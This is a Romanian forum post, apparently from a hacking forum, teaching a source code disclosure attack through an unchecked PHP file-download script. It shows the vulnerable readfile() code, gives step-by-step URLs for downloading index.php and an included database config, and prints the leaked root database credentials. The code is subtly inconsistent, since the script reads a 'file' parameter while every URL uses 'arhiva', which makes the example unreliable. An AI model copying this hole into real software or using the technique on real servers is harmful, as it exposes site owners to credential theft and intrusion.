Jump to content
ZeroCold

[S.C.D] Source Code Disclosure

Recommended Posts

Posted

Aceasta vulnerabilitate apare in functia de descarcare a unui fisier local, un exemplu clar ar fi:

<?php

$arhiva = $_GET['file'];

if (strstr($HTTP_USER_AGENT, "MSIE")){
$attachment = "";
}else{
$attachment = " attachment;";
}

$filesize = filesize($arhiva);
if($filesize) {
Header("Content-Type: application/x-ms-download");
Header("Content-Length: ".$filesize);
Header("Content-Disposition: attachment; filename=".$arhiva);
@readfile($arhiva);
exit;
}
?>

Pentru a descarca un fisier se foloseste urmatorul link:

http://www.web.com/download.php?arhiva=/docs/fisier.pdf

Asa... dupa cum vedeti, acest script permite descarcarea fisierelor de pe server. Cum putem folosi acest lucru in avantajul nostru?

Simplu, descarcam index.php :D

http://www.web.com/download.php?arhiva=index.php

La ce ne ajuta? Pai ne ajuta, dupa ce l-am descarcat, il deschidem cu notepad sau alt editor si cautam dupa require_once.

Ca o paranteza:

Functia require_once() va permite o singura data accesul la programe PHP scrise anterior, create într-un alt fisier extern.

Spre exemplu gasim:

require_once('/intranet/librerias/db_mysql.inc.php');

Avem fisierul db_mysql.inc.php si locatia lui. Il descarcam:

http://www.web.com/download.php?arhiva=/intranet/librerias/db_mysql.inc.php

Il deschidem cu un editor:

<?php
$dbuser='root';
$dbpass='rst123';
$dbname='forum_rst';

if (!mysql_connect("localhost","$dbuser","$dbpass"))
{
echo "Eroare, nu ma pot conecta la baza de date.";
exit();
}
if (!mysql_select_db("$dbname"))
{
echo "Eroare, baza de date nu exista.";
exit();
}
?>

Am gasit numele bazei de date, userul si parola :D.

Acesta este un exemplu simplu despre modul in care puteti obtine informatii critice cu ajutorul vulnerabilitatii SCD.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...